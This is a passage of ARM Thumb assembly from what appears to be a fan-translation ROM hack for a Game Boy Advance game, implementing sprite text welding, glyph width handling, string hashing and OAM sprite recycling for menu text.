lsl r2,r2,#0x1C // calculate the new curr_x for the new sprite tile lsr r2,r2,#0x1C strb r2,[r0,#0x5] // store the new curr_x mov r2,#1 strb r2,[r0,#0x7] // new_tile_flag = TRUE //------------------------------------------------------------------------------------------- .add_width_end: pop {pc} //============================================================================================ // This section of code is called when a string has just finished being processed. We need // to do a few last things to ensure the full string gets displayed. Called from 8049558. //============================================================================================ .eos_stuff: push {r7,lr} add r7,sp,#0x8 //ldr r3,[r7,#{wbuf_stk}] // load r3 with the custom RAM block's address //ldrb r0,[r3,#0xB] // r0 = redraw_flag //cmp r0,#0 //beq + //bl .update_obj_tile //+ ldr r3,[r7,#{wbuf_stk}] // load r3 with the custom RAM block's address ldrb r0,[r3,#0x7] // r0 = new_tile_flag cmp r0,#0 // if we didn't just move to a new tile, no problem, skip ahead beq + ldrb r0,[r3,#0x5] // load r0 with curr_x cmp r0,#1 // if we started a new tile and our curr_x < 1, we don't really blt + // need to allocate a new tile and sprite, it'd be a complete waste bl .sprite_snip bl .update_x_coord bl .custom_create_sprite + ldr r3,[r7,#{wbuf_stk}] // load r3 with the custom RAM block's address mov r1,#1 strb r1,[r3,#0x7] // new_tile_flag = TRUE pop {r7,pc} //============================================================================================ // This section of code clears out the glyph whose address starts at r0. It's assumed that // there are 0x80 bytes in the glyph. Called by a custom hack. //============================================================================================ .clear_glyph: push {r0-r3,lr} mov r1,r0 // give r0 to r1, since r1 needs to contain the target address mov r0,#0 str r0,[r2,#0] // store 0x00000000 in our RAM block mov r0,r2 mov r2,#0x40 // give r2 the number of halfwords to clear mov r3,#1 lsl r3,r3,#24 orr r2,r3 // set the 24th bit of r2 so it'll know to fill instead of copy swi #0x0B // clear the next glyph out pop {r0-r3,pc} //============================================================================================ // This section of code makes the game move to the next tile area in OBJ memory. // Called by custom hacks. r7 needs to have the SP + push offset caused by calling this. //============================================================================================ .move_to_next_tile: push {r0-r3,lr} add r4,#0x8C // this is the original code, it's used to increment to the ldr r1,[r7,#0x24] // next struct glyph. r5 points to the actual glyph data itself add r1,#0x8C // within the struct, not sure what the others are but oh well str r1,[r7,#0x24] add r5,#0x8C ldr r0,[r7,#0x18] // original code, not sure what it does add r0,#4 str r0,[r7,#0x18] ldr r2,[r7,#0x0C] // original code, calculates the next target address in OBJ memory add r2,#0x80 // we're going to need to do this at EOS, will figure out later str r2,[r7,#0x0C] //ldr r1,[sp,#0xC] str r2,[r5,#0] // store the target OBJ address in struct header //ldr r1,=#0x2014320 // increment the total # of sprites used //ldrb r0,[r1,#0x4] //add r0,#1 //strb r0,[r1,#0x4] pop {r0-r3,pc} //============================================================================================ // This section of code allocates a new sprite. It's called by a custom hack. //============================================================================================ .custom_create_sprite: push {r0,r7,lr} mov r2,r7 mov r7,#6 ldsh r1,[r2,r7] mov r7,#4 ldsh r0,[r2,r7] lsl r0,r0,#0x10 orr r1,r0 // 20225C4 holds a pointer to the current font // It can be either 8CE39F8 (main) or 8D0B010 (small) // From that we want to use different sizes for the sprites // I'm assuming we only ever use this for main and small fonts... ldr r0,[r2,#{cfm_stk}] ldr r7,[r0,#0] ldr r0,[r2,#{mfont_stk}] cmp r0,r7 bne + mov r0,#0x80 lsl r0,r0,#0x17 //16x16 if the font is the main one b .custom_create_sprite_oam_create + mov r0,#0x40 lsl r0,r0,#8 //16x8 if the font is the small one .custom_create_sprite_oam_create: orr r1,r0 ldr r0,[r2,#0x1C] str r1,[r0,#0] ldrb r0,[r6,#0x10] lsl r0,r0,#0x1A lsr r0,r0,#0x1E lsl r0,r0,#0x0A ldr r1,[r2,#0x18] orr r0,r1 mov r1,#0xE0 lsl r1,r1,#8 orr r0,r1 ldr r1,[r2,#0x1C] strh r0,[r1,#0x4] add r1,#8 str r1,[r2,#0x1C] ldr r7,[r2,#{wbuf_stk}] // increment the total # of sprites used ldrb r0,[r7,#0x4] add r0,#1 strb r0,[r7,#0x4] pop {r0,r7,pc} //============================================================================================ // This section of code manually updates the current tile in OBJ memory. //============================================================================================ .update_obj_tile: push {lr} mov r0,r5 add r0,#4 ldr r1,[r7,#0x0C] // get current OBJ memory address to write to mov r2,#0x80 // number of bytes to transfer bl $8001A14 // call a built-in subroutine to DMA r0 to r1 for r2 bytes pop {pc} //============================================================================================ // This section of code manually updates the current sprite's x coordinate. //============================================================================================ .update_x_coord: push {lr} ldr r0,[r7,#{coord_stk}]// this code adds to the sprite's x coordinate. ldrb r0,[r0,#0] // it'll almost always be 16 pixels ldrh r1,[r7,#0x4] add r1,r1,r0 strh r1,[r7,#0x4] pop {pc} //============================================================================================ // This section of code is called by custom hacks in the rare instances of a partial letter // in a new tile right before an [END] code or a control code. // r7 needs to have the proper location on the stack //============================================================================================ .sprite_snip: push {r0-r1,lr} bl .move_to_next_tile //bl .write_struct_info //bl .update_obj_tile pop {r0-r1,pc} //============================================================================================ // This hack is called to save a letter's width to the stack //============================================================================================ .save_letters_width: push {r4-r5} // r5 has RAM block address ldr r5,[sp,#{wbuf_stk}+0x8] ldr r0,[sp,#0x8] ldrh r0,[r0,#0x0] strh r0,[r5,#0x8] // store r0 (current letter value) in RAM block // 20225C4 holds a pointer to the current font // It can be either 8CE39F8 (main) or 8D0B010 (small) // From that we want to get the widths pointer, which is 8D1CE78 (main) or 8D1CF78 (small) // I'm assuming we only ever use this for main and small fonts... ldr r2,[sp,#{cfm_stk}+0x8] ldr r4,[r2,#0] ldr r2,[sp,#{mfont_stk}+0x8] cmp r2,r4 bne + // We're using main font ldr r2,[sp,#{mfontw_stk}+0x8] b .save_letters_width_next + ldr r2,[sp,#{sfontw_stk}+0x8] .save_letters_width_next: ldrb r2,[r2,r0] // get the current letter's width strb r2,[r5,#0x6] // store the current letter's width in the RAM block pop {r4-r5} bx lr //============================================================================================ // This hack is called to give the game's OAM clearer an accurate count of the # of sprites // used. This fixes some garbage sprite bugs we had. This is called from 803EA6C. //============================================================================================ .fix_sprite_total: ldr r5,=#0x2014320 ldrb r5,[r5,#0x4] bx lr //============================================================================================ // This hack is used to fix the x-coord of status icons within sprite text. // Called from 80496A4. //============================================================================================ .get_icon_coord: mov r1,sp ldrb r1,[r1,#0x1C] // load the x coord of the current text sprite push {r0,r2} ldr r2,=#0x2014320 // we need to load curr_x so we know how many pixels in the current ldrb r0,[r2,#0x5] // text sprite we've gone add r1,r1,r0 mov r0,#0 strb r0,[r2,#0x5] // curr_x = 0 add r2,sp,#8 strb r1,[r2,#0x1C] // store the icon's x as the current x pop {r0,r2} bx lr //============================================================================================ // This part is where we do our efficiency checks, the pseudocode is as follows: // // if curr_letter == 0 // { // if redraw_flag == FALSE // { // if curr_address != address[tableptr * 4] // redraw_flag = TRUE // else if curr_str_len != strlen[tableptr] // redraw_flag = TRUE // else if curr_hash != hash[tableptr * 4] // redraw_flag = TRUE // } // // address[tableptr * 4] = curr_address // strlen[tableptr] = curr_str_len // hash[tableptr] = curr_hash // // tableptr++ // } // //============================================================================================ .efficiency_check: push {r0-r7,lr} add r7,sp,#0x24 // make r7 be the pretend sp //------------------------------------------------------------------------------------------- ldr r6,[sp,#{dbuf_stk}+0x24] // if fadeout_flag = TRUE, then don't bother with these checks mov r1,#0x2D ldrb r0,[r6,r1] cmp r0,#0 beq + add r6,#0x20 b .inc_table_loc + ldr r1,[sp,#0x18] // at [[sp,#0x18],#0x0] is the address of the current string ldr r0,[r1,#0x0] // r0 now has the current string's address ldrh r1,[r1,#0xE] // at [[sp,#0x18],#0xE] is the string length bl .get_hash // get the hash value for the current string, return value in r0 str r0,[r6,#0x0] // store our hash temporarily for easy access add r6,#0x20 // r6 = address of our RAM block ldrb r0,[r6,#0xB] // load redraw_flag cmp r0,#0 // if already TRUE, then skip the following checks bne .update_tables //------------------------------------------------------------------------------------------- .address_check: ldr r5,[sp,#{oabuf_stk}+0x24]// r5 = base address of address table ldrb r0,[r6,#0xC] lsl r0,r0,#2 // r0 = table_loc * 4 mov r2,r0 ldr r0,[r5,r0] // r0 = last address //ldr r3,=#0x203FFA0 //ldr r4,[r3,r2] ldr r4,[sp,#0x18] // at [[sp,#0x18],#0x0] is the address of the current string ldr r4,[r4,#0x0] // r4 now has the current string's address cmp r4,r0 beq .length_check //beq .inc_table_loc // if curr_address == last_address, move to the string length test mov r0,#1 strb r0,[r6,#0xB] // else redraw_flag = TRUE ldr r0,[r7,#0x24] // r0 = address of current glyph now bl .clear_glyphs b .update_tables //------------------------------------------------------------------------------------------- .length_check: // r5 = base address of string length table ldr r5,[sp,#{oslbuf_stk}+0x24] ldrb r0,[r6,#0xC] // load table_loc ldrb r0,[r5,r0] // r0 = last_str_len ldr r4,[sp,#0x18] // at [[sp,#0x18],#0xE] is the string length ldrh r4,[r4,#0xE] // r4 now has the string length cmp r4,r0 // if curr_len == last_str_len, move on ahead beq .hash_check mov r0,#1 strb r0,[r6,#0xB] // else redraw_flag = TRUE ldr r0,[r7,#0x24] // r0 = address of current glyph now bl .clear_glyphs b .update_tables //------------------------------------------------------------------------------------------- .hash_check: ldr r5,[sp,#{ohbuf_stk}+0x24]// r5 = base address of hash table ldrb r0,[r6,#0xC] lsl r0,r0,#2 // r0 = table_loc * 4 ldr r0,[r5,r0] // r0 = last hash sub r6,#0x20 ldr r1,[r6,#0x0] // r1 = current hash add r6,#0x20 cmp r0,r1 beq .inc_table_loc // if curr_hash == last_hash, no need to redraw stuff mov r0,#1 strb r0,[r6,#0xB] // else redraw_flag = TRUE ldr r0,[r7,#0x24] // r0 = address of current glyph now bl .clear_glyphs //------------------------------------------------------------------------------------------- .update_tables: ldrb r0,[r6,#0xC] // load table_loc // r5 = base address of string length table ldr r5,[sp,#{oslbuf_stk}+0x24] ldr r4,[sp,#0x18] // at [[sp,#0x18],#0xE] is the string length ldrh r4,[r4,#0xE] // r4 now has the string length strb r4,[r5,r0] // store the current string length in the proper table spot sub r5,#0x40 // r5 = base address of address table lsl r0,r0,#2 // r0 = table_loc * 4 ldr r4,[r3,r0] ldr r4,[sp,#0x18] // at [[sp,#0x18],#0x0] is the address of the current string ldr r4,[r4,#0x0] // r4 now has the current string's address str r4,[r5,r0] // store the current address in the proper table spot sub r5,#0x40 // r5 = base address of hash table sub r6,#0x20 ldr r4,[r6,#0x0] // load current hash add r6,#0x20 str r4,[r5,r0] // store current hash in the proper table spot //------------------------------------------------------------------------------------------- .inc_table_loc: ldrb r0,[r6,#0xC] // table_loc++ add r0,#1 strb r0,[r6,#0xC] //------------------------------------------------------------------------------------------- .eff_check_end: pop {r0-r7} // restore registers and return pop {pc} //============================================================================================ // This is the code that tells the game if it needs to re-prepare the OAM entries or not //============================================================================================ .recycle_branch: push {lr} ldr r0,[sp,#{wbuf_stk}+4] ldrb r2,[r0,#0xB] // load redraw_flag cmp r2,#0 bne .recycle_branch_unsuccessful ldr r2,[sp,#{ocbuf_stk}+4] ldrb r0,[r0,#0xC] // current entry + 1 sub r0,#1 lsl r0,r0,#1 add r0,r2,r0 // get its previous X and Y ldrh r0,[r0,#0] lsr r1,r0,#8 lsl r1,r1,#0x10 lsl r0,r0,#0x18 lsr r0,r0,#0x18 orr r0,r1 ldr r1,[r6,#8] //If they're not the same, reprint the entry cmp r0,r1 bne .recycle_branch_unsuccessful mov r0,#1 b + .recycle_branch_unsuccessful: mov r0,#0 + pop {pc} //============================================================================================ // This is the code that tells the game if it needs to re-prepare the OAM entries or not. // r0 will be the stack pointer //============================================================================================ .recycle_old_oam: push {r4-r7,lr} mov r4,r0 ldr r5,[r4,#{wbuf_stk}] ldr r7,[r4,#{olbuf_stk}] ldrb r0,[r5,#0xC] // current entry + 1 sub r0,#1 add r7,r7,r0 // get its previous length ldrb r3,[r7,#0] lsl r3,r3,#0x19 lsr r3,r3,#0x19 // ignore "has_icon" in length cmp r3,#0 beq .recycle_old_oam_success ldr r0,[r4,#0x18] ldr r6,[r4,#{letter_stk}]// now to see if this is the first letter or not ldrb r2,[r6,#0] cmp r2,#0 // r2 now has the letter # we're on beq + add r0,#4 + lsr r0,r0,#2 mov r2,#7 lsl r2,r2,#0x18 mov r1,#{oam_tiles_stack_buffer} add r1,r1,r4 // get to the tiles buffer add r0,r1,r0 // get to the tiles entry in the buffer ldrb r0,[r0,#0] cmp r0,#0xFF // signal we failed finding the tile if this is 0xFF beq .recycle_old_oam_failure lsl r0,r0,#3 add r0,r2,r0 // get to the proper starting OAM entry push {r3} ldr r1,[r4,#0x1C] lsl r2,r3,#2 swi #0xB pop {r3} ldr r0,[r4,#0x1C] lsl r1,r3,#3 add r0,r0,r1 // increase the oam pile address str r0,[r4,#0x1C] ldr r0,[r4,#0x18] lsl r1,r3,#2 add r0,r0,r1 // increase the number of the next target tile str r0,[r4,#0x18] ldr r0,[r4,#0xC] lsl r1,r3,#7 add r0,r0,r1 // increase the address str r0,[r4,#0xC] ldrb r0,[r5,#4] add r0,r0,r3 // increase the number of used sprites strb r0,[r5,#4] mov r1,#1 strb r1,[r5,#0x7] // new_tile_flag = TRUE mov r1,#0 strb r1,[r5,#0xA] // new_line_flag = FALSE ldrb r3,[r7,#0] // get its previous length lsr r3,r3,#7 // get "has_icon" str r3,[r4,#0x48] // save "has_icon" cmp r3,#0 beq + mov r0,r5 bl .handle_icons_recycled_oam + .recycle_old_oam_success: mov r0,#1 .recycle_old_oam_end: pop {r4-r7,pc} .recycle_old_oam_failure: mov r0,#0 b .recycle_old_oam_end //============================================================================================ // Sets the icon's OAM entry to printing by loading it from our cache //============================================================================================ .handle_icons_recycled_oam: push {lr} ldr r0,=#0x2016028+0x41E0 ldr r1,=#0x2014240-4 ldrb r2,[r1,#0] strh r2,[r0,#0] ldrb r2,[r1,#1] strh r2,[r0,#2] ldrb r2,[r1,#2] strh r2,[r0,#4] ldrb r2,[r1,#3] strb r2,[r0,#6] pop {pc} //============================================================================================ // Read the icon's OAM entry and save it in our cache //============================================================================================ .save_icons: push {lr} ldr r0,=#0x2016028+0x41E0 ldr r1,=#0x2014240-4 ldrh r2,[r0,#0] strb r2,[r1,#0] ldrh r2,[r0,#2] strb r2,[r1,#1] ldrh r2,[r0,#4] strb r2,[r1,#2] ldrb r2,[r0,#6] strb r2,[r1,#3] pop {pc} //============================================================================================ // This is the code that prepares some data used in order to avoid re-preparing OAM entries // when it's not needed. r0 is the stack pointer //============================================================================================ .save_entry_info: push {r0-r5,lr} mov r5,r0 // stack pointer ldr r1,[r5,#{wbuf_stk}] ldr r2,[r5,#{ocbuf_stk}] ldrb r4,[r1,#0xC] // current entry + 1 sub r4,#1 lsl r3,r4,#1 add r3,r3,r2 ldrh r0,[r6,#8] strb r0,[r3,#0] ldrh r0,[r6,#0xA] // save X and Y coords strb r0,[r3,#1] add r2,#0x20 ldrb r3,[r1,#4] // current sprite total ldr r0,[r5,#0x40] // old sprite total sub r3,r3,r0 // entry's sprite length add r2,r2,r4 ldr r0,[r5,#0x48] // get "has_icon" from stack lsl r0,r0,#7 // max length = 0x5F orr r3,r0 // orr them together so we use the length byte for other things strb r3,[r2,#0] // save it here cmp r0,#0 // if "has_icon" is true, save it beq + bl .save_icons + pop {r0-r5,pc} //============================================================================================ // This code resets some data when redraw_flag is FALSE, since we're not actually // printing entries. r0 is the stack pointer //============================================================================================ .reset_data_redrawing: push {lr} ldr r1,[r0,#{wbuf_stk}] ldrb r2,[r1,#0xB] // load redraw_flag cmp r2,#0 bne .reset_data_redrawing_end strb r2,[r1,#4] // we're not printing entries, put this back to 0! ldr r3,[r0,#{letter_stk}] ldrb r2,[r3,#0] // is this 0? cmp r2,#0 beq + mov r2,#0 strb r2,[r3,#0] // if not, reset the letters counter ldr r2,[r0,#0x18] add r2,#4 // increase the number of the next target tile str r2,[r0,#0x18] ldr r2,[r0,#0xC] add r2,#0x80 // increase the address str r2,[r0,#0xC] + mov r2,#0x98 // reset this to the first entry lsl r2,r2,#0x6 ldr r1,[r0,#8] add r5,r1,r2 .reset_data_redrawing_end: pop {pc} //============================================================================================ // This code saves to the stack the current amount of OAM entries. r0 is the stack pointer //============================================================================================ .save_current_sprite_total: push {r1,lr} ldr r1,[r0,#{wbuf_stk}] ldrb r1,[r1,#4] // current sprite total str r1,[r0,#0x40] // save to stack pop {r1,pc} //============================================================================================ // This routine is called by our custom hack. It clears out all glyphs from the current one. //============================================================================================ .clear_glyphs: push {r0-r5,lr} mov r1,r0 mov r2,#0 str r2,[r6,#0] // store 0x00000000 in our RAM block mov r0,r6 ldr r5,=#0x201F994 sub r5,r5,r1 lsr r2,r5,#1 // r2 has the number of halfwords to clear mov r3,#1 lsl r3,r3,#24 orr r2,r3 // set the 24th bit of r2 so it'll know to fill instead of copy swi #0x0B // clear the next glyph out pop {r0-r5,pc} //============================================================================================ // This routine is called right after all a fadeout starts. This code sets a flag that tells // the sprite welding hack to skip some CPU intensive stuff since we can assume text won't // change during a fadeout. Called from 803E170. //============================================================================================ .set_fadeout_flag: push {r1,lr} ldr r1,=#0x2014320 mov r0,#0x1 strb r0,[r1,#0xD] // fadeout_flag = TRUE ldr r0,=#0x20051E8 // clobbered code ldrb r0,[r0,#0] pop {r1,pc} //============================================================================================ // This code "breaks" the "last loop table", and is called between screen transitions. // This fixes a bug with the sprite text. Called from 803E24C. //============================================================================================ .clear_table: push {lr} mov r0,#1 neg r0,r0 ldr r1,=#0x2014240-4 // r1 = base address of icon cache str r0,[r1,#0] // void the icon cache add r1,#4 // r1 = base address of position table str r0,[r1,#0] // store FFFF as the first two positions add r1,#0x20 // r1 = base address of OAM size table str r0,[r1,#0] // store FF as the first four OAM sizes add r1,#0x10 // r1 = base address of hash table str r0,[r1,#0] // store FFFFFFFF as the current hash add r1,#0x40 // r1 = base address of address table str r0,[r1,#0] // store FFFFFFFF as the address add r1,#0x40 // r1 = base address of string length table str r0,[r1,#0] // store FF as the first four string lengths in the table //add r1,#0x10 // r1 = base address of our RAM block ldr r1,=#0x2014320 mov r0,#0 strb r0,[r1,#0xD] // fadeout_flag = FALSE mov r0,#0xFF strb r0,[r1,#0xE] // set last number of strings = FF pop {r0} add sp,#0x10 pop {r4-r6} bx r0 //============================================================================================ // This code gets a hash for the string in r0 with length r1. Used by our sprite text hack // so it can tell when text has changed. //============================================================================================ .get_hash: push {r2-r7,lr} // r0 = source address // r1 = length ldr r2,[sp,#{hprime_stk}+0x24+0x1C] // FNV_prime ldr r3,[sp,#{hoffset_stk}+0x24+0x1C]// offset_basis/hash mov r4,#0 // counter cmp r1,#0 bne + mov r5,#0 b .get_hash_element + - ldrh r5,[r0,#0] add r0,#2 add r4,#1 .get_hash_element: eor r3,r5 // hash ^= data mul r3,r2 // hash *= FNV_prime cmp r4,r1 blt - // r0 = resulting hash mov r0,r3 pop {r2-r7,pc} // restore registers and leave //============================================================================================ // This code understands if an entry is from a character or not //============================================================================================ define first_char_name $200417E define char_data_size $6C .is_entry_character_name: push {lr} ldr r1,=#{first_char_name} sub r0,r0,r1 mov r1,#{char_data_size} swi #6 mov r2,#0 cmp r1,#0 bne + cmp r0,#0xC bgt + mov r2,#1 //This is a character's name + mov r0,r2 pop {pc} //============================================================================================ // This code sets caches addresses of certain entries' addresses in order to make // the checking process in .special_checks_move_zone faster later //============================================================================================ define on_whom_entry $3B define on_whom_address $30 define menu_entry $3C define menu_address $34 define to_whom_entry $3D define to_whom_address $38 define give_entry $3F define give_address $3C .special_checks_setup: push {r4,lr} mov r4,r0 ldr r2,[r0,#0x2C] //Which menu is this? cmp r2,#3 bgt .special_checks_setup_end cmp r2,#0 beq .special_checks_setup_inventory cmp r2,#2 beq .special_checks_setup_psi .special_checks_setup_status_equip: mov r0,#0 str r0,[r4,#0x30] //OAM Address str r0,[r4,#0x34] //Tile b .special_checks_setup_end .special_checks_setup_psi: mov r0,#{on_whom_entry} bl $80486A0 //Get the address for this entry str r0,[r4,#{on_whom_address}] //Cache the address for later b .special_checks_setup_end .special_checks_setup_inventory: mov r0,#{on_whom_entry} bl $80486A0 //Get the address for this entry str r0,[r4,#{on_whom_address}] //Cache the address for later mov r0,#{menu_entry} bl $80486A0 //Get the address for this entry str r0,[r4,#{menu_address}] //Cache the address for later mov r0,#{to_whom_entry} bl $80486A0 //Get the address for this entry str r0,[r4,#{to_whom_address}] //Cache the address for later mov r0,#{give_entry} bl $80486A0 //Get the address for this entry str r0,[r4,#{give_address}] //Cache the address for later .special_checks_setup_end: pop {r4,pc} //============================================================================================ // This code sets specific entries in certain menus to an OAM zone in order to prevent // issues with flickering. // r0 = Stack pointer of the main function //============================================================================================ define new_pos_base $6011800 define new_pos_tile $C0 define new_pos_base_alternative $6011C00 define new_pos_tile_alternative $E0 define new_pos_base_alternative2 $6012000 define new_pos_tile_alternative2 $100 .special_checks_move_zone: push {r4-r5,r7,lr} mov r4,r0 ldr r2,[r4,#0x2C] //Which menu is this? cmp r2,#3 bgt .special_checks_move_zone_end cmp r2,#0 beq .special_checks_move_zone_inventory cmp r2,#2 beq .special_checks_move_zone_psi .special_checks_move_zone_status_equip: ldr r0,[r4,#0] bl .is_entry_character_name cmp r0,#1 bne + ldr r0,[r4,#0xC] ldr r1,[r4,#0x18] mov r3,#1 bl .handle_changing_tile_special_checks str r0,[r4,#0x30] //Temp store the tile and address that should normally be next str r1,[r4,#0x34] ldr r0,=#{new_pos_base_alternative2} ldr r1,=#{new_pos_tile_alternative2} b .special_checks_move_zone_change_place + ldr r0,[r4,#0x30] //Did we temp store the next tile and address it should have been? cmp r0,#0 beq .special_checks_move_zone_end mov r2,#0 ldr r0,[r4,#0x30] //If we did, get them and reset them ldr r1,[r4,#0x34] str r2,[r4,#0x30] str r2,[r4,#0x34] b .special_checks_move_zone_change_place .special_checks_move_zone_psi: ldr r0,[r4,#{on_whom_address}] ldr r1,[r4,#0] cmp r0,r1 bne .special_checks_move_zone_end ldr r0,=#{new_pos_base_alternative2} ldr r1,=#{new_pos_tile_alternative2} b .special_checks_move_zone_change_place .special_checks_move_zone_inventory: ldr r0,[r4,#{menu_address}] ldr r1,[r4,#0] cmp r0,r1 bne + ldr r0,=#{new_pos_base} ldr r1,=#{new_pos_tile} b .special_checks_move_zone_change_place + ldr r0,[r4,#{give_address}] ldr r1,[r4,#0] cmp r0,r1 bne + ldr r0,=#{new_pos_base_alternative} ldr r1,=#{new_pos_tile_alternative} b .special_checks_move_zone_change_place + ldr r0,[r4,#{on_whom_address}] ldr r1,[r4,#0] cmp r0,r1 beq + ldr r0,[r4,#{to_whom_address}] ldr r1,[r4,#0] cmp r0,r1 bne .special_checks_move_zone_end + ldr r0,=#{new_pos_base_alternative2} ldr r1,=#{new_pos_tile_alternative2} .special_checks_move_zone_change_place: mov r3,#0 bl .handle_changing_tile_special_checks str r0,[r4,#0xC] // change the OAM address this will go to str r1,[r4,#0x18] // change the OAM tile this will go to .special_checks_move_zone_end: pop {r4-r5,r7,pc} //============================================================================================ // This routine changes the loaded tiles accordingly for special_checks_move_zone //============================================================================================ .handle_changing_tile_special_checks: ldr r2,[r4,#{wbuf_stk}] ldrb r2,[r2,#0x7] // load new_tile_flag cmp r2,#0 beq + // if FALSE, don't need to move to next tile or create a new sprite ldr r2,[r4,#{letter_stk}]// now to see what tile # we're on ldrb r2,[r2,#0] cmp r2,#0 // r2 now has the tile # we're on beq + // if it's 0, we don't need to move to the next tile mov r2,#0x80 // if it's 1, we'll need to move 1 tile later on, prepare for it cmp r3,#0 beq .handle_changing_tile_special_checks_negative add r0,r0,r2 // go forward add r1,#4 b + .handle_changing_tile_special_checks_negative: neg r2,r2 add r0,r0,r2 // go backwards sub r1,#4 + bx lr //============================================================================================ // This routine loads the oam tiles buffer if it's not already loaded. // r0 has the stack pointer //============================================================================================ .ready_buffer: push {r4-r5} mov r5,r0 // r5 is now the stack pointer ldr r0,[r5,#0x4C] cmp r0,#0 // check "is_buffer_initialized" bne .ready_buffer_end // first we set the zone in the stack to a certain set of bytes mov r0,#1 str r0,[r5,#0x4C] // set "is_buffer_initialized" to true mov r1,#{oam_tiles_stack_buffer} mov r0,r5 add r1,r0,r1 mov r0,#0 sub r0,#1 // set this zone to 0xFFFFFFFF push {r0} mov r0,sp mov r3,#1 lsl r3,r3,#24 mov r2,#0x18 // 0x60 bytes orr r2,r3 // fill with 0xFFFFFFFF swi #0xC // cpufastset pop {r0} // now we search the OAM for the used tiles mov r2,#{oam_tiles_stack_buffer} mov r0,r5 add r2,r0,r2 mov r3,#7 lsl r3,r3,#0x18 // load the oam mov r4,#0 mov r5,#2 - ldrh r1,[r3,#4] lsl r1,r1,#0x16 lsr r1,r1,#0x18 cmp r1,#0x5F bgt + ldrb r0,[r3,#1] and r0,r5 cmp r0,#0 bne .ready_buffer_end add r1,r2,r1 // get to the buffer's oam entry byte strb r4,[r1,#0] // save which entry these tiles are in + add r3,#8 add r4,#1 cmp r4,#0x80 // the OAM entries are 0x80 bne - .ready_buffer_end: pop {r4-r5} bx lr //============================================================================================ // This routine converts the OAM VRAM entries from 1bpp to 4bpp. // We want to go VERY FAST. //============================================================================================ .convert_1bpp_4bpp: push {r2,r4-r6,lr} ldr r0,[sp,#{wbuf_stk}+0x14] ldrb r4,[r0,#4] // Sprite total cmp r4,#0 beq .convert_1bpp_4bpp_end ldr r6,=#0x8CDF9F8 ldr r2,[sp,#8+0x14] mov r1,#0x98 lsl r1,r1,#0x6 add r5,r2,r1 add r5,#4 // Starting tiles .convert_1bpp_4bpp_loop_start: ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#2 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_bottom: add r5,#0x40 ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#2 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_end: sub r4,#1 // One entry is done cmp r4,#0 ble .convert_1bpp_4bpp_end add r5,#0x4C b .convert_1bpp_4bpp_loop_start .convert_1bpp_4bpp_end: pop {r2,r4-r6,pc} //============================================================================================ // This routine is called right after all sprite strings have been processed. It clears out // any unused portions of the "last time" tables to prevent any weirdness later. // Called from 804957E. //============================================================================================ .clear_unused_table_stuff: push {r0-r7,lr} ldr r5,[sp,#0x34] // r6 = total # of strings we just processed mov r1,#1 neg r1,r1 // r1 = FFFFFFFF ldr r3,=#0x2014240 // r4 = base address of the positions table - cmp r5,#16 bge + lsl r2,r5,#2 // r2 = counter * 4 (used for convenience's sake) lsl r0,r5,#1 // r0 = counter * 2 (used for convenience's sake) mov r4,r3 strh r1,[r4,r0] // store FFFF at positions table entry add r4,#0x20 strb r1,[r4,r5] // store FF at oam length table entry add r4,#0x10 str r1,[r4,r2] // store FFFFFFFF at hash table entry add r4,#0x40 // r4 = base address of address table str r1,[r4,r2] // store FFFFFFFF at address table entry add r4,#0x40 // r4 = base address of string length table strb r1,[r4,r5] // store FF at string length table entry add r5,#1 // increment counter and loop back b - + pop {r0-r7} ldr r2,=#0x2018CC0 // code we clobbered pop {pc} .way_out: ldr r2,=#0x2014320 mov r0,#0 strb r0,[r2,#4] //We're not printing anything. Skip the storing to OAM VRAM pop {r4-r7} pop {r0} //We're hard skipping many things! bx r0 .main_routine: push {r4-r7,lr} ldr r4,=#0x201A288 ldrb r2,[r4,#0] cmp r2,#0x11 bne + ldr r7,=#0x2003F04 //If this is the naming screen, then stop printing if the flag is active. ldrb r7,[r7,#0] cmp r7,#2 beq .way_out + mov r7,r10 mov r6,r9 mov r5,r8 push {r5-r7} add sp,#-{sprite_text_weld_stack_size} // currently -0xF8 str r2,[sp,#0x2C] //We'll use this later - Save which menu this is str r0,[sp,#0x8] ldr r2,=#0x76D9 add r1,r0,r2 bl sprite_text_weld.init // init bl .init_stack mov r0,sp bl .special_checks_setup ldr r0,=#0x2016028 ldr r3,=#0xC620 add r1,r0,r3 ldr r7,=#0x2C98 add r0,r0,r7 ldrh r0,[r0,#0] lsl r0,r0,#0x3 ldr r1,[r1,#0] add r1,r1,r0 str r1,[sp,#0x1C] str r1,[sp,#0x20] ldr r1,[sp,#0x8] ldr r0,[sp,#{numstr_stk}] ldr r0,[r0,#0] ldr r6,[r0,#0x4] mov r3,#0x98 lsl r3,r3,#0x6 add r5,r1,r3 ldr r7,=#0x6010000 str r7,[sp,#0xC] mov r2,#0 str r2,[sp,#0x4C] // set "is_buffer_initialized" to false str r2,[sp,#0x18] str r2,[sp,#0x10] ldrb r0,[r0,#0x9] cmp r2,r0 bcc .mr_outerloop b .mr_exit //------------------------------------------------------------------------------------------- .mr_outerloop: // start of big loop to do all lines ldrb r1,[r6,#0x10] mov r0,#0x80 and r0,r1 cmp r0,#0 beq + ldr r0,[sp,#0x8] mov r1,#1 bl $8049C70 + ldrh r0,[r6,#0x8] mov r3,#2 lsl r3,r3,#8 sub r1,r3,#1 // ldr r1,=#0x1FF and r1,r0 mov r0,sp ldrh r0,[r0,#0x6] lsl r0,r0,#0x10 // and 0xFFFF0000 and r0,r2 orr r0,r1 str r0,[sp,#0x4] ldrb r2,[r6,#0xA] lsl r2,r2,#0x10 lsl r0,r0,#0x10 // and 0xFFFF lsr r0,r0,#0x10 orr r0,r2 str r0,[sp,#0x4] ldr r0,[r6,#0] str r0,[sp,#0] mov r7,#0 str r7,[sp,#0x14] str r7,[sp,#0x48] // set "has_icon" to false mov r0,sp bl .special_checks_move_zone mov r4,r5 add r4,#0x84 mov r1,r5 add r1,#0x88 str r1,[sp,#0x24] mov r0,sp bl sprite_text_weld.save_current_sprite_total bl sprite_text_weld.efficiency_check bl sprite_text_weld.recycle_branch cmp r0,#0 beq + mov r0,sp bl .ready_buffer // prepare the tiles buffer we're about to use (if we didn't beforehand) mov r0,sp bl .recycle_old_oam // try recycling the oam entries cmp r0,#0 // check if we failed finding the tiles beq + b .after_eos + mov r0,sp ldrh r0,[r6,#0xE] cmp r7,r0 bcc + b .after_eos + ldr r3,[sp,#0] // get the string ldrh 